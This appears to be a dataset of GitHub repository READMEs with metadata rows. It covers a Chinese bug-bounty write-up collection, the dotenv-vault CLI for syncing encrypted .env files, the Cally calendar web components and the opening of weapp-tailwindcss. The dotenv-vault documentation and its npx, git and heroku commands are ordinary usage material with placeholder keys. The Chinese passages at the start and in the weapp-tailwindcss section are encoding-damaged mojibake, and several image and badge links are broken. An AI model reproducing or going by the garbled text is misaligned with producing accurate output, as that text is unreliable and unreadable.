จ็่ฟไบๅนด่ขซๆๅไปฌ้ฎๅฐๆๅค็ไธไธช้ฎ้ขๅฐฑๆฏโโโๆๅญฆไบowasp top10ๆผๆดๅบ็กๅ๏ผๅฆไฝๆๆๅฐๆๆๆผๆดโ๏ผๆฏๆฌก่ขซ้ฎๅฐ่ฟ็ง้ฎ้ข๏ผๆ่ฏ็ฉท็ๅ็ญ้ฝๆฏโ่กฅ่ถณๅบ็ก๏ผ่กฅ่ถณๅบ็ก๏ผ่กฅ่ถณๅบ็กโใ
ๅจ็ฌ่
ไป
ๆ็ไธ็น็ฅ่ฏๅจๅค้ไธญ๏ผ็ฌ่
ไธ็ดๅไฟก๏ผๅจๆ ่ฎบๅจๆป่ฟๆฏ้ฒ๏ผๅช่ฆๆฟๆๅฅฝๅผๅ็็นๆง๏ผ่ฟ็ปด็ไน ๆง๏ผไบบ็ฑป็ๆฌๆงโโๅฐฑ่ฝๆ ๅพไธๅฉ
ๅ ๆญค็ฌ่
ๅฐ่ฟไธไธคๅนด็ๆ็ซ ๆถๅฝ่ตทๆฅๅๆๅ่ฎขๆฌ๏ผๅ
ฑ12ๅฐ่๏ผ12890ๅญ๏ผๅธๆๅคๅฐ่ฝ็ปๅคงๅฎถ็ๅฐไธไบๆ่ถฃ็ๅฎๅ
จ้ฎ้ขใๆ็ซ ไธญ็ๅพ้ฝๆฏP็๏ผไธๆถๅไปปไฝโๅฎ้
ๆผๆดโๅซไนใ็ฌ่
ๆณ่ฏด๏ผๅจ่ฟไธช็ฅ่ฏไป่ดน๏ผๆๆฏไบบๅ็ผบ้ฑ่ฐ็ๅญ๏ผๅฐๅพฎไผไธ็ๅๅฑไธพๆญฅ็ปด่ฐๆถไปฃ้๏ผๅๆๅๅ
่ดน็ๅไบซๅฎๅฑไธๆใ่กฃ้ฃ่ถณ่็ฅ่ฃ่พฑ๏ผไปๅปชๅฎ่็ฅ็คผ่๏ผๅพ้ๆพ๏ผ็ฌ่
ๆฏไธชไธบๅฝฉ็คผๅๆ๏ผๆฟๅญไนไนฐไธ่ตท็็ฉท้ฌผ๏ผ็ญๆถๆๅ
ไนๆ ๆณ็ปง็ปญๆดๆฐไบ๏ผ่ฆ็ๅบๆถ้ดๅ็ๆดปๅฏน็บฟไบ๏ผๅธๆๅไฝ็่งฃใ
ๅธๆๅจๅฐๆฅ็ๆไธๅคฉ๏ผๆไปฌๅจไธไธๅบๅฑฑๆตท็ธ้ใ
## Q&A
1.ๅๆถๅ
ณไบๆผๆด้ป็ฝ็ๆๆ๏ผๅพๅคไบบๅจ่ฏข็ฌ่
โโโ่ชๅทฑๆฒกๆ่ทฏๆไนๅ?โ
**้ๅฏน่ฟไธช้ฎ้ข๏ผ็ฌ่
ๆณ่ฏด๏ผไธ่ฆๆๆผๆดๆๆ็ๅธๆๅฏๆไบโๅๅทงโ๏ผ็ฐๅจ็ๆผๆดไบงๅบ็ฏๅขๆฉๅทฒไธๆฏไปฅๅ้ฃไธช่ๆฌๅฐๅญ้ฝ่ฝๆฅๅคฉไธ็ๅนดไปฃไบใ**
**ๆๆบไน้ๆฏ่่ๅฎๅฎๆๅผๅๅๅฎๅ
จ็ฅ่ฏ็ๅบ็กๆ็ข๏ผๅบ็กๅคๅๅฎ๏ผๆ่ทฏไธ็ตๆๅชๆฏ้ๅฑๅ๏ผๅ็งฏๆ่ฝ่ๅ**
## ้กน็ฎStar่ถๅฟ
[](https://starchart.cc/J0o1ey/BountyHunterInChina.svg)
| ้็ไนๆๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ็ณปๅ๏ผๅไบซๅจๅฎๅ
จ่กไธ่ฎจๅฃๅญ่ฟ็จไธญ๏ผSRCใ้กน็ฎๅฎๆ็ๆ่ถฃๆกไพ | null | 0 | 1 | 0 | 55 | 0 | 1 | 0 |
dotenv-org/dotenv-vault | 
`dotenv-vault` is a cli to *sync .env files across machines, environments, and team members*.
[](https://npmjs.org/package/dotenv-vault)
## ๐ฑ Install
It works with a single command. Run `npx dotenv-vault@latest push`.
```sh
npx dotenv-vault@latest push
```
```
remote: Securely pushing (.env)... done
remote: Securely pushed development (.env)
remote: Securely built vault (.env.vault)
```
That's it. You securely synced your `.env` file. Next, tell your teammate to run `npx dotenv-vault@latest pull`
```sh
npx dotenv-vault@latest pull
```
Nice!
See further [usage](#%EF%B8%8F-usage) and [commands](#-commands).
---
#### Other Ways to Install
Don't want to use [npx](https://docs.npmjs.com/cli/v7/commands/npx)? Install a number of other ways.
<p><img alt="apple icon" src="https://api.iconify.design/mdi/apple.svg" width="20" /> Install via <a href="https://github.com/dotenv-org/homebrew-brew">Homebrew</a></p>
```bash
$ brew install dotenv-org/brew/dotenv-vault
$ dotenv-vault help
```
<p><img alt="windows icon" src="https://api.iconify.design/mdi/windows.svg" width="20" /> Install on <a href="https://dotenv-vault-assets.dotenv.org">Windows</a></p>
* [32-bit installer](https://dotenv-vault-assets.dotenv.org/channels/stable/dotenv-vault-x86.exe)
* [64-bit installer](https://dotenv-vault-assets.dotenv.org/channels/stable/dotenv-vault-x64.exe)
<p><img alt="docker icon" src="https://api.iconify.design/mdi/docker.svg" width="20" /> Install and run commands via <a href="https://hub.docker.com/r/dotenv/dotenv-vault">Docker</a></p>
```bash
$ docker run -w $(pwd) -v $(pwd):$(pwd) -it dotenv/dotenv-vault help
```
<a href="https://www.dotenv.org/install/">Learn more about installation</a>
## ๐๏ธ Usage
When you make a change to your `.env` file, push it up.
```bash
$ npx dotenv-vault@latest push
```
Commit your `.env.vault` file safely to code.
```bash
$ git add .env.vault
$ git commit -am "Add .env.vault"
$ git push
```
Now your teammate can pull the latest `.env` changes.
```bash
$ git pull
$ npx dotenv-vault@latest pull
```
That's it!
<a href="https://www.dotenv.org/docs/quickstart?r=1">Learn more about usage</a>
## ๐ Deploying
Stop scattering your production secrets across multiple third-parties and tools. Instead, use an encrypted `.env.vault` file.
Generate your encrypted `.env.vault` file.
```bash
$ npx dotenv-vault@latest build
```
Fetch your production `DOTENV_KEY`.
```bash
$ npx dotenv-vault@latest keys production
remote: Listing .env.vault decryption keys... done
dotenv://:key_1234โฆ@dotenv.org/vault/.env.vault?environment=production
```
Set `DOTENV_KEY` on your server.
```bash
# heroku example
heroku config:set DOTENV_KEY=dotenv://:key_1234โฆ@dotenv.org/vault/.env.vault?environment=production
```
Commit your `.env.vault` file safely to code and deploy.
```bash
$ git add .env.vault
$ git commit -am "Update .env.vault"
$ git push
$ git push heroku main # heroku example
```
That's it! On deploy, your `.env.vault` file will be decrypted and its secrets injected as environment variables โ just in time.
<a href="https://www.dotenv.org/docs/quickstart?r=1">Learn more about deploying</a>
## ๐ด Manage Multiple Environments
After you've pushed your `.env` file, dotenv-vault automatically sets up multiple environments. Manage multiple environments with the included UI. [learn more](/docs/tutorials/environments)
```
$ npx dotenv-vault@latest open production
```
That's it! Manage your ci, staging, and production secrets from there.
Would you also like to pull your production `.env` to your machine? Run the command:
```
$ npx dotenv-vault@latest pull production
```
โน๏ธ **๐ Vault Managed vs ๐ป Locally Managed**: The above example, for brevity's sake, used the ๐ Vault Managed solution to manage your `.env.vault` file. You can instead use the ๐ป Locally Managed solution. [See the faq further below](#how-do-i-use--locally-managed-dotenv-vault). Our vision is that other platforms and orchestration tools adopt the `.env.vault` standard as they did the `.env` standard. We don't expect to be the only ones providing tooling to manage and generate `.env.vault` files.
<a href="https://www.dotenv.org/docs/tutorials/environments?r=1">Learn more about environments</a>
## ๐ Examples
<table>
<tbody>
<tr>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/platforms/vercel">
<img src="https://api.iconify.design/devicon/vercel.svg" alt="Vercel", width="20" />
Vercel
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/platforms/heroku">
<img src="https://api.iconify.design/skill-icons/heroku.svg" alt="Heroku", width="20" />
Heroku
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/cis/github-actions">
<img src="https://api.iconify.design/devicon/github.svg" alt="GitHub", width="20" />
GitHub Actions
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/gitlab-ci">
<img src="https://api.iconify.design/devicon/gitlab.svg" alt="GitLab", width="20" />
GitLab CI/CD
</a>
</td>
</tr>
<tr>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/platforms/netlify">
<img src="https://api.iconify.design/skill-icons/netlify-light.svg" alt="Netlify", width="20" />
Netlify
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/platforms/docker">
<img src="https://api.iconify.design/skill-icons/docker.svg" alt="Docker", width="20" />
Docker
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/express/docker-compose">
<img src="https://api.iconify.design/skill-icons/docker.svg" alt="Docker Compose", width="20" />
Docker Compose
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/cis/circleci">
<img src="https://api.iconify.design/logos/circleci.svg" alt="CircleCI", width="20" />
CircleCI
</a>
</td>
</tr>
<tr>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/serverless/aws-lambda">
<img src="https://api.iconify.design/logos/serverless.svg" alt="Serverless", width="20" />
Serverless
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/railway">
<img src="https://api.iconify.design/simple-icons/railway.svg" alt="Railway", width="20" />
Railway
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/render">
<img src="https://api.iconify.design/simple-icons/render.svg" alt="Render", width="20" />
Render
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/travis-ci">
<img src="https://api.iconify.design/simple-icons/travisci.svg" alt="Travis CI", width="20" />
Travis CI
</a>
</td>
</tr>
<tr>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/cis/google-cloud-build">
<img src="https://api.iconify.design/devicon/googlecloud.svg" alt="Google Cloud", width="20" />
Google Cloud
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/platforms/fly">
<img src="https://api.iconify.design/logos/fly-icon.svg" alt="Fly.io", width="20" />
Fly.io
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/addons/slack">
<img src="https://api.iconify.design/devicon/slack.svg" alt="dotenv-vault + Slack", width="20" />
Slack
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/buddy">
<img src="https://api.iconify.design/logos/buddy.svg" alt="Buddy", width="20" />
Buddy
</a>
</td>
</tr>
<tr>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/cloud66">
<img src="https://api.iconify.design/simple-icons/cloud66.svg" alt="Cloud66", width="20" />
Cloud66
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/digital-ocean">
<img src="https://api.iconify.design/devicon/digitalocean.svg" alt="Digital Ocean", width="20" />
Digital Ocean
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/dagger">
<img src="https://dagger.io/img/logo-alt-2.svg" alt="Dagger", width="20" />
Dagger
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/bitbucket">
<img src="https://api.iconify.design/devicon/bitbucket.svg" alt="Bitbucket", width="20" />
Bitbucket
</a>
</td>
</tr>
<tr>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs">
<img src="https://api.iconify.design/devicon/nodejs.svg" alt="Node.js", width="20" />
Node.js
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/express">
<img src="https://api.iconify.design/devicon/express.svg" alt="Express", width="20" />
Express
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/nextjs">
<img src="https://api.iconify.design/devicon/nextjs.svg" alt="NextJS", width="20" />
NextJS
</a>
</td>
</tr>
<tr>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/remix">
<img src="https://api.iconify.design/skill-icons/remix-dark.svg" alt="Remix", width="20" />
Remix
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/astro/netlify">
<img src="https://api.iconify.design/devicon/astro.svg" alt="Astro", width="20" />
Astro
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/rails">
<img src="https://api.iconify.design/logos/rails.svg" alt="Rails", width="20" />
Rails
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/ruby">
<img src="https://api.iconify.design/logos/ruby.svg" alt="Ruby", width="20" />
Ruby
</a>
</td>
</tr>
<tr>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/sinatra/heroku">
<img src="https://api.iconify.design/logos/sinatra.svg" alt="Sinatra", width="20" />
Sinatra
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/flask/heroku">
<img src="https://api.iconify.design/devicon/flask.svg" alt="Flask", width="20" />
Flask
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/python">
<img src="https://api.iconify.design/devicon/python.svg" alt="Python", width="20" />
Python
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/integrations/supabase/nodejs?r=1">
<img src="https://api.iconify.design/devicon/supabase.svg" alt="Supabase", width="20" />
Supabase
</a>
</td>
</tr>
<tr>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/languages/nodejs/pulumi">
<img src="https://api.iconify.design/vscode-icons/file-type-pulumi.svg" alt="Pulumi", width="20" />
Pulumi
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/angular/vercel">
<img src="https://api.iconify.design/devicon/angular.svg" alt="Angular", width="20" />
Angular
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/nuxtjs">
<img src="https://api.iconify.design/logos/nuxt-icon.svg" alt="Nuxt", width="20" />
Nuxt
</a>
</td>
<td align="left" valign="middle">
<a href="https://www.dotenv.org/docs/frameworks/vite/vercel">
<img src="https://api.iconify.design/devicon/vite.svg" alt="Vite", width="20" />
Vite
</a>
</td>
</tr>
</tbody>
</table>
<a href="https://www.dotenv.org/docs/">See more integration guides</a>
## ๐ Commands
```
$ npx dotenv-vault@latest help
```
* [new](#new)
* [login](#login)
* [logout](#logout)
* [push](#push)
* [pull](#pull)
* [open](#open)
* [whoami](#whoami)
* [build](#build)
* [keys](#keys)
* [rotatekey](#rotatekey)
* [decrypt](#decrypt)
* [versions](#versions)
* [local](#local-build)
* [local build](#local-build)
* [local decrypt](#local-decrypt)
* [local keys](#local-keys)
### `new`
Create your project at Dotenv Vault.
Example:
```bash
$ npx dotenv-vault@latest new
```
##### ARGUMENTS
*[DOTENV_VAULT]*
Set .env.vault identifier. Defaults to generated value.
```
$ npx dotenv-vault@latest new vlt_6beaae5โฆ
local: Adding .env.vault (DOTENV_VAULT)... done
local: Added to .env.vault (DOTENV_VAULT=vlt_6beaa...)
```
##### FLAGS
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
---
### `login`
Log in to dotenv-vault.
Example:
```bash
$ npx dotenv-vault@latest login
```
##### ARGUMENTS
*[DOTENV_ME]*
Set .env.me identifier. Defaults to generated value.
```
$ npx dotenv-vault@latest login me_00c7faโฆ
```
##### FLAGS
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
```
$ npx dotenv-vault@latest login -y
```
---
### `logout`
Log out of dotenv-vault.
Example:
```bash
$ npx dotenv-vault@latest logout
```
##### FLAGS
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
```
$ npx dotenv-vault@latest logout -y
```
---
### `push`
Push `.env` securely.
Example:
```bash
$ npx dotenv-vault@latest push
```
##### ARGUMENTS
*[ENVIRONMENT]*
Set environment to push to. Defaults to development
```
$ npx dotenv-vault@latest push production
```
*[FILENAME]*
Set input filename. Defaults to .env for development and .env.{environment} for other environments
```
$ npx dotenv-vault@latest push production .env.production
```
##### FLAGS
*-m, --dotenvMe*
Pass .env.me (DOTENV_ME) credential directly (rather than reading from .env.me file)
```
$ npx dotenv-vault@latest push --dotenvMe=me_b1831eโฆ
```
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
```
$ npx dotenv-vault@latest push -y
```
---
### `pull`
Pull `.env` securely.
Example:
```bash
$ npx dotenv-vault@latest pull
```
##### ARGUMENTS
*[ENVIRONMENT]*
Set environment to pull from. Defaults to development
```
$ npx dotenv-vault@latest pull production
```
*[FILENAME]*
Set output filename. Defaults to .env for development and .env.{environment} for other environments
```
$ npx dotenv-vault@latest pull production .env.production
```
##### FLAGS
*-m, --dotenvMe*
Pass .env.me (DOTENV_ME) credential directly (rather than reading from .env.me file)
```
$ npx dotenv-vault@latest pull --dotenvMe=me_b1831eโฆ
```
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
```
$ npx dotenv-vault@latest pull -y
```
If you want to pull a specific version you can do so. For example,
```
npx dotenv-vault@latest pull development@v14
```
---
### `open`
Open project page.
Example:
```bash
$ npx dotenv-vault@latest open
```
##### ARGUMENTS
*[ENVIRONMENT]*
Set environment to open to. Defaults to development.
```
$ npx dotenv-vault@latest open production
```
##### FLAGS
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
```
$ npx dotenv-vault@latest open -y
```
---
### `whoami`
Display the current logged in user.
Example:
```bash
$ npx dotenv-vault@latest whoami
```
##### FLAGS
*-m, --dotenvMe*
Pass .env.me (DOTENV_ME) credential directly (rather than reading from .env.me file)
```
$ npx dotenv-vault@latest whoami dotenvMe=me_b1831eโฆ
```
---
### `build`
Build .env.vault file.
Example:
```bash
$ npx dotenv-vault@latest build
```
##### FLAGS
*-m, --dotenvMe*
Pass .env.me (DOTENV_ME) credential directly (rather than reading from .env.me file)
```
$ npx dotenv-vault@latest build dotenvMe=me_b1831eโฆ
```
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
```
$ npx dotenv-vault@latest build -y
```
---
### `keys`
List .env.vault decryption keys.
Example:
```bash
$ npx dotenv-vault@latest keys
```
##### ARGUMENTS
*[ENVIRONMENT]*
Set environment. Defaults to all.
```
$ npx dotenv-vault@latest keys productionโฆ
remote: Listing .env.vault decryption keys... done
dotenv://:key_899..@dotenv.org/vault/.env.vault?environment=production
```
##### FLAGS
*-m, --dotenvMe*
Pass .env.me (DOTENV_ME) credential directly (rather than reading from .env.me file)
```
$ npx dotenv-vault@latest keys dotenvMe=me_b1831eโฆ
```
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
```
$ npx dotenv-vault@latest keys -y
```
---
### `rotatekey`
Rotate DOTENV_KEY.
Example:
```bash
$ npx dotenv-vault@latest rotatekey production
```
##### FLAGS
*-m, --dotenvMe*
Pass .env.me (DOTENV_ME) credential directly (rather than reading from .env.me file)
```
$ npx dotenv-vault@latest rotatekey dotenvMe=me_b1831eโฆ
```
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
```
$ npx dotenv-vault@latest rotatekey -y
```
---
### `decrypt`
Decrypt .env.vault locally.
Example:
```bash
$ npx dotenv-vault@latest decrypt dotenv://:key_1234@dotenv.org/vault/.env.vault?environment=development
```
##### ARGUMENTS
*[DOTENV_KEY]*
Set `DOTENV_KEY` to decrypt .env.vault. Development key will decrypt development, production will decrypt production, and so on.
```
$ npx dotenv-vault@latest decrypt dotenv://:key_1234@dotenv.org/vault/.env.vault?environment=development
```
---
### `versions`
List version history.
Example:
```bash
$ npx dotenv-vault@latest versions
```
##### ARGUMENTS
*[ENVIRONMENT]*
Set environment to check versions against. Defaults to development.
```
$ npx dotenv-vault@latest versions production
```
##### FLAGS
*-m, --dotenvMe*
Pass .env.me (DOTENV_ME) credential directly (rather than reading from .env.me file)
```
$ npx dotenv-vault@latest versions dotenvMe=me_b1831eโฆ
```
*-y, --yes*
Automatic yes to prompts. Assume yes to all prompts and run non-interactively.
```
$ npx dotenv-vault@latest versions -y
```
If you want to pull a specific version you can do so. For example,
```
npx dotenv-vault@latest pull development@v14
```
---
### `local build`
Build .env.vault from local only
Example:
```bash
$ npx dotenv-vault@latest local build
```
This will encrypt the contents of your `.env` file and any `.env.ENVIRONMENT` files you have locally into your `.env.vault` file.
### `local decrypt`
Decrypt .env.vault from local only
Example:
```bash
$ npx dotenv-vault@latest local decrypt dotenv://:key_1234@dotenv.local/vault/.env.vault?environment=development
```
##### ARGUMENTS
*[DOTENV_KEY]*
Set `DOTENV_KEY` to decrypt .env.vault. Development key will decrypt development, production will decrypt production, and so on.
```
$ npx dotenv-vault@latest local decrypt dotenv://:key_1234@dotenv.local/vault/.env.vault?environment=development
```
### `local keys`
List .env.vault local decryption keys from .env.keys file
Example:
```bash
$ npx dotenv-vault@latest local keys
local: Listing .env.vault decryption keys from .env.keys... done
environment DOTENV_KEY
โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
develompent dotenv://:key_33ee..@dotenv.local/vault/.env.vaโฆ
production dotenv://:key_7038..@dotenv.local/vault/.env.vaโฆ
```
##### ARGUMENTS
*[ENVIRONMENT]*
Set `ENVIRONMENT` to output a single environment's DOTENV_KEY.
```
$ npx dotenv-vault@latest local keys developmentโฆ
local: Listing .env.vault decryption keys from .env.keys... done
dotenv://:key_a682c..@dotenv.local/vault/.env.vault?environment=development
```
## โ FAQ
### Why is the `.env.vault` file not decrypting my environment variables successfully?
First, make sure you are using `dotenv@16.1.0` or greater. (If you are using a different language make sure you have installed one of its [libraries](#what-languages-does-this-work-with).)
Second, test decryption is working locally.
```bash
$ npx dotenv-vault@latest decrypt dotenv://:key_1234..@dotenv.local/vault/.env.vault?environment=production
# outputs environment variables
```
Third, test decryption on boot is working locally.
```bash
$ DOTENV_KEY='dotenv://:key_1234..@dotenv.local/vault/.env.vault?environment=production' npm start
# boots your app with production envs
```
### Should I commit my `.env.vault` file?
Yes. It is safe and recommended to do so. DO commit your `.env.vault` file to code. DO NOT commit your `.env` file. The `.env.vault` file contains ciphertext generated using AES-256. AES-256 is trusted by the US Government to transmit top-secret information and has a brute-force timescale of about a billion years.
### I accidentally leaked my `DOTENV_KEY`, what can I do?
Does that attacker also have access to your `.env.vault` file?
* No: good, the attacker cannot do any damage. They need both the `DOTENV_KEY` and `.env.vault` file to access your secrets. This extra layer of security sets the `.env.vault` file apart as a superior solution to other SecretOps solutions.
* Yes: IMMEDIATELY start rotating your secrets at your third-party API providers. This scenario would be the same no matter what SecretOps solution you use.
After completing the above, rotate your `DOTENV_KEY` using the [rotatekey](#rotatekey) command, rebuild your `.env.vault` file, and redeploy.
### Is it safe to store my secrets with dotenv-vault?
It safer than scattering your secrets across multiple cloud providers. Those providers are focused on code deployment and server performance over secrets security.[1]
Dotenv Vault's singular focus is secrets security, and as a result we go to great lengths to make sure your secrets are safe. Afterall, we keep our secrets here too.[2]
* [[1] CircleCI Breach](https://techcrunch.com/2023/01/05/circleci-breach/)
* [[2] Security at Dotenv Vault](https://www.dotenv.org/security)
### What languages does this work with?
The `.env.vault` file and its encryption algorithm is language-agnostic so technically it works with any language. We've built convenience libraries for it in a handful of languages and are adding more quickly.
* [Go](https://github.com/dotenv-org/godotenvvault)
* [Kotlin](https://github.com/dotenv-org/dotenv-vault-kotlin)
* [NodeJS](https://github.com/motdotla/dotenv)
* [PHP](https://github.com/dotenv-org/phpdotenv-vault)
* [Python](https://github.com/dotenv-org/python-dotenv-vault)
* [Ruby](https://github.com/dotenv-org/dotenv-vault-ruby)
### How do I use ๐ป Locally Managed dotenv-vault?
There are a series of **๐ป Locally Managed** commands available to you. Locally managed never makes a remote API call. It is completely managed on your machine.
**๐ Vault Managed** adds conveniences like backing up your .env file, secure sharing across your team, access permissions, and version history.
**๐ป Locally Managed** is a good choice for someone who would prefer to handle this coordination themselves and does not want to trust Dotenv Vault with their secrets.
<a href="https://www.youtube.com/watch?v=Ad7Wl8iC3Rs">
<div align="right">
<img src="https://img.youtube.com/vi/Ad7Wl8iC3Rs/hqdefault.jpg" alt="how to deploy with a .env.vault file video tutorial" align="right" width="330" />
<img src="https://simpleicons.vercel.app/youtube/ff0000" alt="youtube/@dotenvorg" align="right" width="24" />
</div>
</a>
Here's how it works.
Generate your `.env.vault` file.
```shell
$ npx dotenv-vault@latest local build
```
This creates two files:
* `.env.vault` - encrypted contents of .env* file(s)
* `.env.keys` - decryption key(s)
Boot using `.env.vault`.
```
$ DOTENV_KEY=<key string from .env.keys> npm start
[dotenv@16.1.0][INFO] Loading env from encrypted .env.vault
```
Great! Next, set the `DOTENV_KEY` on your server. For example in heroku:
```shell
$ heroku config:set DOTENV_KEY=<key string from .env.keys>
```
Commit your `.env.vault` file safely to code and deploy.
Your `.env.vault` is decrypted on boot, its environment variables injected, and your app works as expected.
Congratulations, your secrets are now much safer than scattered across multiple servers and cloud providers!
## Contributing
See [CONTRIBUTING.md](CONTRIBUTING.md)
## Changelog
See [CHANGELOG.md](CHANGELOG.md)
## License
MIT
| sync .env filesโfrom the creator of `dotenv`. | dotenv,env,secrets | 1 | 5 | 171 | 822 | 38 | 7 | 1 |
WickyNilliams/cally | # Cally
Small, feature-rich calendar components
- **Small bundle size** - less than 8.5KB min/gzip
- **Full feature set** - single dates, ranges, display multiple months
- **HTML-friendly** - easy to author, framework-independent
- **Minimal dependencies** - just one
- **Accessible** - keyboard and screen reader
- **Localizable** - `Intl.DateTimeFormat`, CSS logical properties, RTL support
- **Themeable** - CSS parts and custom properties to offer flexibility and power
- **Composable** - impose no DOM specific structure, play well with others
## Installation
```bash
npm install cally
```
## Usage
### Via module
```js
import "cally";
```
### Via CDN
```html
<script type="module" src="https://unpkg.com/cally"></script>
```
### Using the components
```html
<calendar-range months="2">
<calendar-month></calendar-month>
<calendar-month offset="1"></calendar-month>
</calendar-range>
```
## Docs
For full documentation, visit: https://wicky.nillia.ms/cally/
## License
MIT
| Small, feature-rich calendar components | web-component,datepicker,date-picker,webcomponent,calendar,calendar-component | 0 | 3 | 28 | 131 | 4 | 2 | 2 |
sonofmagic/weapp-tailwindcss | <p align="center">
<a href="https://weapp-tw.icebreaker.top">
<img src="./assets/logo.png" alt="weapp-tailwindcss-logo" width="128">
</a>
<br>
<h1 align="center">weapp-tailwindcss</h1>
</p>
> ็ฎไฝไธญๆ(zh-cn) | [English](./README_en.md)
[](https://github.com/sonofmagic/weapp-tailwindcss/actions/workflows/test.yml)
[](https://codecov.io/gh/sonofmagic/weapp-tailwindcss)
> [!NOTE]
> ้ไฝๅผๅ็ปดๆคๆๆฌ๏ผๆๅๅผๅๆ็็ `ๅฐ็จๅบ` `tailwindcss` ๅ
จๆน้ข่งฃๅณๆนๆก
>
> `Tailwindcss/Unocss UI` ็ๆๆๅๅจ: [`IceStack`](https://ui.icebreaker.top/zh-CN) ๅทฒ็ปๅๅธ๏ผๅฟซๆฅ็จๅฎ็ฎก็ไฝ ็ๅๅญๅ`CSS` ็ปไปถๅง๏ผ
\[[ๅฝๅ
้จ็ฝฒ็ๆๆกฃๅฐๅ](https://weapp-tw.icebreaker.top)\] \| \[[ๅค็จGithub Page](https://sonofmagic.github.io/weapp-tailwindcss/)\] \| \[[1.xๆๆกฃ]('./v1.md')\]
- [็นๆง](#็นๆง)
- [็ๆฌๅฏนๅบ](#็ๆฌๅฏนๅบ)
- [ๅฎ่ฃ
ไธไฝฟ็จๆนๅผ](#ๅฎ่ฃ
ไธไฝฟ็จๆนๅผ)
- [็ๆๅ่งฃๅณๆนๆก](#็ๆๅ่งฃๅณๆนๆก)
- [ๅธธ่ง้ฎ้ข](#ๅธธ่ง้ฎ้ข)
- [็ฐๆ้
็ฝฎๅฅฝ็ๅไธชๆกๆถ็ๆจกๆฟ](#็ฐๆ้
็ฝฎๅฅฝ็ๅไธชๆกๆถ็ๆจกๆฟ)
- [ๆง็ๆฌ่ฟ็งปๆๅ](#ๆง็ๆฌ่ฟ็งปๆๅ)
- [้
็ฝฎ้กนๅ่](#้
็ฝฎ้กนๅ่)
- [ๅๆดๆฅๅฟ](#ๅๆดๆฅๅฟ)
- [Tips](#tips)
- [Contribute](#contribute)
- [License](#license)
- [Star History](#star-history)
- [Related projects](#related-projects)
- [IceStack](#icestack)
- [weapp-ide-cli](#weapp-ide-cli)
- [weapp-pandacss](#weapp-pandacss)
## ็นๆง
| ไธไป
ไป
ๆฏ`webpack` | ไธปๆตๆกๆถไธๅ็ๅผๅๆฏๆ |
| --------------------------------------------------- | ----------------------------------------------- |
|  |  |
ๆ ธๅฟๆไปถๆฏๆ `webpack`/`vite`/`gulp` ไธบๅบๅบ็ๆกๆถ็ฑปๅฐ็จๅบๅผๅ๏ผๆถต็ไบๅธ้ขไธๅ ไนๆๆ็ไธปๆต็ๅผๅๆกๆถใ
ๅๆถไนๆฏๆๆๅ็็ๅผๅ่
ๅทฅๅ
ทๅๅปบ็ๅ็ๅฐ็จๅบๅบ็จใ
่ฟไบๆไปถ่ฝๅค่ชๅจ่ฏๅซๅนถ็ฒพ็กฎๅค็ๆๆ `tailwindcss` ็ๅทฅๅ
ท็ฑปๆฅ้้
ๅฐ็จๅบ็ฏๅขใ
## ็ๆฌๅฏนๅบ
